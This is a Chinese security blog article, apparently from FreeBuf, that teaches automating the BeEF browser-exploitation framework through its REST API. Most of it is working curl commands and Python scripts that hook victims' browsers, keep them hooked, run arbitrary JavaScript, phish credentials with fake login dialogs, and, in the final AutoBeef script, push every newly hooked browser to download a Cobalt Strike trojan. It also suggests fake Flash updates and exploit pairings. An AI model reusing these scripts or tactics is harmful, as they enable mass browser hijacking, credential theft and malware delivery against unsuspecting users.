本文首發Freebuf,屬於原創獎勵計劃,未經許可禁止轉載。javascript
http://www.freebuf.com/articles/network/137662.htmlhtml
關於BeEF,再也不多介紹,它的強大毋庸置疑,利用它咱們能夠作不少事情。最近的一些實驗,須要用beef批量自動進行控制,發現網上也沒有過多關於這方面內容的介紹,因而學習了一下它的API,順便練習一下python編程,這裏把本身的學習內容分享下。本文涉及的一些內容可能具備必定的攻擊性,請遵照國家法律,禁止用於非法用途。java
BeEF從0.4.3.3,版本開始,提供了靜態API接口,用戶能夠經過發送HTTP / JSON請求控制Beef。python
咱們能夠經過程序,批量自動加載執行某些beef的模塊,實現好比自動維持權限,Getshell等功能。git
在後面的正文裏,每個調用模塊的示例中,我都會嘗試單獨編寫代碼進行測試,最後,我會將各個部分組合起來,實現一個自動化控制的小demo。本文涉及到的全部代碼你均可以在這裏找到:https://github.com/ssooking/AutoBeef/。進入正題,咱們先啓動beef。本機IP:192.168.1.133github
默認hook js:http://192.168.1.133:3000/hook.js 默認hook頁面: http://192.168.1.133:3000/demos/basic.html 默認管理界面: http://192.168.1.133:3000/ui/panel
當咱們啓動beef的時候,會自動生成一個靜態API key,這個key用於身份認證,咱們每次經過API進行控制時,都要添加這個參數值 。須要提到的是,若是你發現後文的API key,session等參數值發生了變化,是由於這篇文章不是一次寫完的,測試時由於從新開啓beef產生了變化,所以不要糾結,咱們應該關注API如何調用。chrome
下面,咱們能夠建立一個簡單的hook頁面 ,如xss.htmlshell
<html> <head> <script src="http://192.168.1.133:3000/hook.js"></script> </head> </html>
咱們也能夠訪問默認hook頁面 http://192.168.1.133:3000/demos/basic.html,爲了測試,這裏我使用了一臺虛擬機,本機也使一個瀏覽器被hook。在管理面板能夠看到主機已經上線。編程
在控制檯,咱們可以直接看到被hook的主機,並執行相關攻擊模塊。那麼怎樣經過API實現這些功能呢?下面,咱們將經過實例進行介紹。在此以前,咱們須要知道的是,用於處理咱們的API請求的文件,主要存放於beef框架下core目錄和core/api目錄下,咱們能夠在該目錄下查找並閱讀相關源代碼,瞭解功能的實現機制,使用API進行HTTP交互時,默認的交互數據類型爲json。json
/api/admin/login是用戶登陸接口,經過該接口登陸以後,咱們能夠獲得用於會話認證的API key
咱們用curl命令,使用默認的口令提交登陸請求,會返回咱們的key。這個功能能夠被用於後文編寫自動化控制腳本。
curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://192.168.1.133:3000/api/admin/login
咱們能夠用下面這樣一個簡單的小腳本實現,代碼也比較簡單,再也不多廢話
#!/usr/bin/env python # -*- coding: utf-8 -*- # ** Author: ssooking import json import urllib2 def getauthkey(host): apiurl = host + "api/admin/login" logindata = { "username":"beef", "password":"beef" } jdata = json.dumps(logindata) # 對數據進行JSON格式化編碼 req = urllib2.Request(apiurl, jdata) # 生成頁面請求的完整數據 response = urllib2.urlopen(req) # 發送頁面請求 resdata = response.read() # 獲取服務器返回的頁面信息,數據類型爲str jsondata = json.loads(resdata) # 把數據解析成python對象,此時返回dict數據 return jsondata['token'] if __name__ == '__main__': host = "http://192.168.1.133:3000/" print getauthkey(host)
API中,咱們要獲取hook主機信息的api接口爲:api/hooks。提交請求的格式相似於這樣: api/hooks?token=xxxxx。須要的參數token的值是用於身份認證的API key。咱們用curl命令發送請求,獲取hook主機列表信息。
curl http://192.168.1.133:3000/api/hooks?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回了當前hook的主機狀況,返回的json數據格式不太友好,做爲測試,咱們可使用json代碼格式化工具便於查看。
這裏是一個不錯的在線json編輯工具:http://tool.lu/json/。咱們也能夠直接在瀏覽器中訪問url,可是後文涉及提交某些必要的參數時,不能使用這種方式。
json代碼通過格式化以後,咱們能夠看到,有兩個主機上線。每一個上線主機都有id號來表示身份。
session參數值是後面經過A{I調用執行beef模塊時必須的參數,這個值你也能夠在Web控制檯的Cookie處找到。
咱們也能夠經過腳本發送相似的請求實現這個獲取這些信息,好比下面這個簡單的示例代碼
#!/usr/bin/env python # -*- coding=utf-8 -*- # ** Author: ssooking import json import urllib2 def getHookedBrowsers(host,authkey): f = urllib2.urlopen(host + "/api/hooks?token=" + authkey) data = json.loads(f.read()) hooked = data["hooked-browsers"]["online"] print hooked return hooked if __name__ == '__main__': host = "http://192.168.1.133:3000/" key = "e7170da7263c46d8e505ab044017707107a2ee6f" getHookedBrowsers(host,key)
若是你想知道某個被hook主機的詳細信息,只要加上瀏覽器session值便可,它的請求格式應該是這樣的
/api/hooks/瀏覽器session會話值?token=xxxxxxxxxxxxxxx
再來講說怎樣調用模塊,這部分功能是由/api/modules.rb控制的
咱們經過/api/modules接口列舉出能夠調用的模塊
curl http://192.168.1.133:3000/api/modules?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回的格式不友好,咱們直接在瀏覽器裏訪問
咱們能夠發現,每個模塊都有對應的id號。咱們在beef控制檯裏隨便找一個,也能夠找到這個id。可是須要注意一下,這個id號會由於你BeEF模塊數目的不一樣有所變化,在編寫代碼以前你應該確認這個id號。
若是你請求的格式像這樣: /api/modules/130?token=xxxxx , 即modules後面加上了具體的模塊id號,那麼能夠獲得這個模塊的詳細信息,好比須要的參數等
因此,若是想要調用某個模塊,咱們只須要知道這個模塊的id,而且在發送請求的的時候提供該模塊須要的參數便可。
執行模塊時請求的格式是這樣的 /api/modules/:session/:module_id (session是被hook的瀏覽器會話,module_id即爲beef模塊的id號)
須要注意的是,提交參數時,Content-Type必須爲json類型,字符集爲 UTF-8,而且請求的主體內容必須是有效的json數據,這在後文有實例。
舉個調用例子。
這裏使用一個簡單的權限維持模塊 Confirm Close Tab。這個模塊的做用是,受害者在試圖關閉選項卡時會向用戶顯示"關閉確認"對話框,經過這種方式來增長shell的存活時間。相關功能的模塊還有 Man-In-The-Browser,Create Foreground iFrame,Create Pop Under。
咱們能夠看到,這個模塊id爲177,不須要提供其餘參數,那麼咱們能夠用curl模擬這種格式的請求來執行該模塊
curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{}' http://xxxxx/api/modules/瀏覽器session/模塊id?token=xxxx
雖然模塊不須要額外的參數,可是由於請求主體必須爲json格式,因此咱們用 -d '{}' 發送空數據。此時beef終端會有執行成功的提示。
若是你沒有這個參數,就會報如圖中 Invalid JSON input for module '177' 的錯誤
在瀏覽器中驗證,當咱們點擊關閉這個頁面時,會彈出確認框,說明成功加載了這個模塊。
一樣的,咱們能夠編寫腳本執行該模塊
#!/usr/bin/env python # -*- coding=utf-8 -*- # ** Author: ssooking import json import urllib2 def sendConfirm(host, sessionId, authkey): postdata = '{}' url = host + "api/modules/" + sessionId + "/177?token=" + authkey print "[+] URL: " + url req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print f.read() if __name__ == '__main__': host = "http://192.168.1.133:3000/" sessionId = "tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU" key = "e7170da7263c46d8e505ab044017707107a2ee6f" sendConfirm(host,sessionId,key)
來一個帶參數的例子,此次我使用的是Raw JavaScript模塊,這個模塊容許咱們在目標瀏覽器上執行javascript代碼。注意,這些javascript代碼不能通過特殊編碼。
這個模塊的id號爲169,咱們再來看看它須要的參數,經過下面這樣的請求獲取模塊詳細信息
http://192.168.1.133:3000/api/modules/169?token=be531aa684a8fd9ae86c36a3b062697706d9f2d5
須要提供的參數名爲:"cmd",參數內容是咱們要執行的Javascript代碼,咱們能夠用curl構造請求進行測試
curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"cmd":"alert(\ssooking\);"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/169?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d36a3b062697706d9f2d5
由於不能用多個單引號,因此我用alert(/ssooking/)代替,可是沒有彈出窗口,不過我使用本身編寫的腳本執行這個模塊就能夠成功執行
#!/usr/bin/env python # -*- coding=utf-8 -*- # ** Author: ssooking import json import urllib2 def execJavascript(host, sessionId, authkey): payload={ "cmd":"alert('Hello ssooking!');" } apiurl = host + "api/modules/" + sessionId + "/169?token=" + authkey print "[+] URL: " + apiurl jdata = json.dumps(payload) # 對數據進行JSON格式化編碼 req = urllib2.Request(apiurl, jdata) # 生成頁面請求的完整數據 req.add_header("Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) # 發送頁面請求 resdata = response.read() # 獲取服務器返回的頁面信息,數據類型爲str return resdata if __name__ == '__main__': host = "http://192.168.1.133:3000/" sessionId = "ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso" key = "dadd1be063d3a3b4339d84f5bdbbcbb25616b41d" print execJavascript(host,sessionId,key)
彈出了窗口
再舉個帶參數的例子,此次我使用的是Create Invisible Iframe模塊,它的功能是建立一個隱藏的Frame。
這個模塊的id爲174,須要的參數是隱藏的Frame所指向的url地址
先查看一下模塊的詳細參數
能夠看到,這個請求的這個url參數名爲"target"。下面進行測試,咱們使用python建立一個簡單的HTTP服務器
咱們用curl構造請求
curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"target":"http://192.168.1.133:8000/"}' http://192.168.1.133:3000/api/modules/tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU/174?token=32c75b5e91ef4e519da119349d2c0cbd7cd23259
執行成功,python HTTP上成功回顯,說明咱們在目標的瀏覽器上建立了一個隱藏的iframe,並使其訪問了這個url地址
有些模塊執行完畢後,咱們須要獲取返回的數據,好比憑證欺騙模塊Pretty Theft,咱們想要獲取用戶輸入的認證口令。
咱們使用一個簡單的windows憑證認證模板
這時候目標瀏覽器上會彈出認證框
模擬提交了憑證以後,從beef的執行結果中,咱們能夠看到欺騙到的密碼
下面就經過API調用執行該模塊,先看下參數
查看模塊詳細信息,咱們能夠知道,須要設置的參數有:欺騙對話框類型"choice",背景風格"backing",Logo的圖片地址"imgsauce" ,所以請求示例應該像這樣:
curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"choice":"Windows","backing":"Grey","imgsauce":"http://0.0.0.0:3000/ui/media/images/beef.png"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/117?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d
執行成功,而且返回了模塊執行的id爲35。假設咱們提交的口令是:test333/123456
咱們想要獲取受害者提供的這些認證信息,這時候,咱們須要這樣請求:
/api/modules/瀏覽器session/模塊id/command_id?token=xxx
好比
咱們固然不能忘記了metasploit這個神器。Beef與metasploit聯用,實在是個大殺器。要想在beef加載metasploit,咱們首先須要修改默認的配置文件,修改beef下config.yaml文件
把啓用metasploit這個選項值改爲true
另外,若是你的metasploit安裝位置不包含在默認路徑裏,須要在beef-xss/extensions/metasploit/config.yaml的文件裏設置一下
而後咱們啓動msf加載msgrpc
msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"
重啓beef便可加載metasploit模塊
一樣的,若是你想調用Metasploit模塊,步驟與前面的都同樣,先查看改模塊的id所需參數等信息,而後構造請求調用這個模塊便可,關於metasploit模塊調用,由於過兩天就要考試了,沒有時間作測試,有興趣的朋友能夠試一試。這個是 BeEF-RESTful-API的上一個請求示例。
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://xxxx/api/modules/瀏覽器session?token=xxx
下面我嘗試編寫一個簡單的自動控制hook主機的腳本,批量執行我提早設定的一些模塊。個人思路是定時獲取hook主機的session信息 ,存放到一個字典裏,若是有新上線的殭屍主機的瀏覽器session,咱們就經過API控制這個瀏覽器執行咱們設定好的Beef模塊,並把這個session添加到一個列表裏,表示已經執行過。若是檢測到某個session已經存在於列表中,說明已經執行過,就再也不執行。測試的代碼中,我用到了三個模塊:Confirm Close Tab,Raw Javascript,Redirect Browser。第一個模塊用於增長shell存活時間,第二個模塊用於執行javascript代碼,第三個模塊使瀏覽器進行跳轉下載,我把這個跳轉地址指向一個Cobalt Strike生成的測試木馬,並模擬受害者自動下載並運行惡意軟件。
#!/usr/bin/env python # -*- coding: utf-8 -*- # ** Author: ssooking # ** Name: AutoBeef.py import json import urllib2 import time hostlist = [] hostdict = {} def getauthkey(host): apiurl = host + "api/admin/login" logindata = { "username":"beef", "password":"beef" } jdata = json.dumps(logindata) # 對數據進行JSON格式化編碼 req = urllib2.Request(apiurl, jdata) # 生成頁面請求的完整數據 response = urllib2.urlopen(req) # 發送頁面請求 resdata = response.read() # 獲取服務器返回的頁面信息,數據類型爲str jsondata = json.loads(resdata) # 把數據解析成python對象,此時返回dict數據 return jsondata['token'] def getHookedBrowsersSession(host,authkey): f = urllib2.urlopen(host + "/api/hooks?token=" + authkey) data = json.loads(f.read()) hookonline = data['hooked-browsers']['online'] for x in hookonline: hookid = hookonline[x]['id'] hookip = hookonline[x]['ip'] hooksession = hookonline[x]['session'] if hookid not in hostdict: hostdict[hookid] = hooksession print "\n[+] Hooked host id: " + bytes(hookid) + "\n >>> IP: " + bytes(hookip) + "\n >>> Session: " + hooksession def sendConfirm(host, session, authkey): postdata = '{}' url = host + "api/modules/" + session + "/177?token=" + authkey #print url req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print " >>> [+] Module Confirm Close Tab has been Executed ! " return f.read() def execJavascript(host, session, authkey): payload={ "cmd":"alert('Hello by ssooking!');" } apiurl = host + "api/modules/" + session + "/169?token=" + authkey jdata = json.dumps(payload) req = urllib2.Request(apiurl, jdata) req.add_header("Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) resdata = response.read() print " >>> [+] Module Raw JavaScript has been Executed ! " return resdata def redirectBrowser(host, session, authkey): payload = {"redirect_url":"http://192.168.1.133:8000/plugins.exe"} apiurl = host + "api/modules/" + session + "/42?token=" + authkey jdata = json.dumps(payload) req = urllib2.Request(apiurl, jdata) req.add_header("Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) resdata = response.read() jsondata = json.loads(resdata) print " >>> [+] Module Redirect Browser has been Executed ! " return jsondata def createIFrame(host, sessionId, authkey): postdata = '{"target":"http://192.168.1.133:8000/"}' url = host + "api/modules/" + sessionId + "/174?token=" + authkey req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print " >>> [+] Module Create Invisible Iframe has been Executed ! " return f.read() def autoRunModules(host,session,authkey): #sendConfirm(host, session, authkey) #execJavascript(host, session, authkey) redirectBrowser(host, session, authkey) def timeRun(interval,host): authkey = getauthkey(host) print "[+] AutoBeef is running...." print "[+] BeEF KEY is : "+ authkey print "[+] Base BeEF API URL: "+ host + "api/" print "[+] Hook URL : " + host + "hook.js" print "[+] Hook Demo : " + host + "demos/basic.html" while True: try: getHookedBrowsersSession(host, authkey) for x in hostdict: if hostdict[x] not in hostlist: hostlist.append(hostdict[x]) autoRunModules(host,hostdict[x],authkey) time.sleep(interval) except Exception, e: print e if __name__ == '__main__': beefhost = "http://192.168.1.133:3000/" timeRun(3,beefhost)
代碼比較挫,沒有什麼要說的,容易遇到問題的地方是處理返回的數據類型,須要注意str,dict,list等數據類型的處理與轉換。我先只執行一個Redirect Browser模塊
程序檢測到有新的上線控制殭屍,會控制瀏覽器自動下載咱們的惡意程序
一旦受害者點擊這個程序,咱們便可進一步得到權限。
當受害者運行惡意軟件時,咱們能夠得到進一步控制權
固然咱們也能夠執行多個模塊,你只須要在autoRunModules函數中添加你想執行的模塊便可,好比我再測試執行Confirm Close Tab,Raw Javascript兩個模塊
可是須要注意的是,有些模塊功能上是衝突的,不能一塊兒執行,好比剛纔的例子Confirm Close Tab和Redirect Browser。
咱們能夠執行多個模塊,運行截圖
到這裏也就基本差很少了,只要思路夠開闊,就有不少好玩的姿式,下面一些好玩的模塊:
Create Invisible Frame + Browser Autopwn :咱們能夠用metasploit的 Browser Autopwn模塊生成一個攻擊瀏覽器的url,而後建立一個隱藏的iframe指向這個url
Raw Javascript : 光是這個就能幹不少事,不僅是彈框哦~~
Fake Notification Bar ,Fake Flash Update: 假裝瀏覽器插件,flash升級等,配合執行惡意軟件
Pretty Theft: 欺騙認證憑據的,能夠試着本身作個模板,哪裏能用到?。。報名統計啦,手機投票啦~~
配合一些漏洞
ms10-046 Microsoft Windows Shell LNK Code Execution
CVE-2015-0096 Microsoft Windows Shell SMB LNK Code Execution Exploit
不知道能不能配合永恆之藍的msf模塊~~~~
對於手機,也有不少模塊可使用
關於代碼
若是你要使用AutoBeef,你須要對代碼進行一些修改使其適應你的beef平臺,好比beef主機地址,某個模塊的id等等。你能夠根據本身的須要添加相關模塊,你也能夠對其進行優化,使其更加健壯。其實官方也提供了beefapi的庫,你能夠在這裏找到https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py。經過調用裏面的函數,咱們也能夠很方面地對beef進行控制,可是涉及到執行某個模塊時,咱們仍是須要查看模塊詳細信息,提供其必要的參數。因此,我建議本身能夠動手實現一下,只有這樣咱們才能進步提升,並且本身寫的代碼,能夠根據本身的須要隨時進行拓展修改,遇到問題也能很快解決。
若是你要使用官方提供的beefAPI,你須要把它移植到你的python庫中,kali裏默認路徑是這樣:
sudo cp beefapi.py /usr/lib/python2.7/dist-packages/
使用的時候從beefapi中導入便可,你能夠查看幫助或者閱讀其源代碼
遇到的問題
測試過程當中我使用的是chrome和firefox,而且發現IE,360等瀏覽器沒法正常hook。
只是一句話,不要隨便點開一個連接。
參考文章
https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py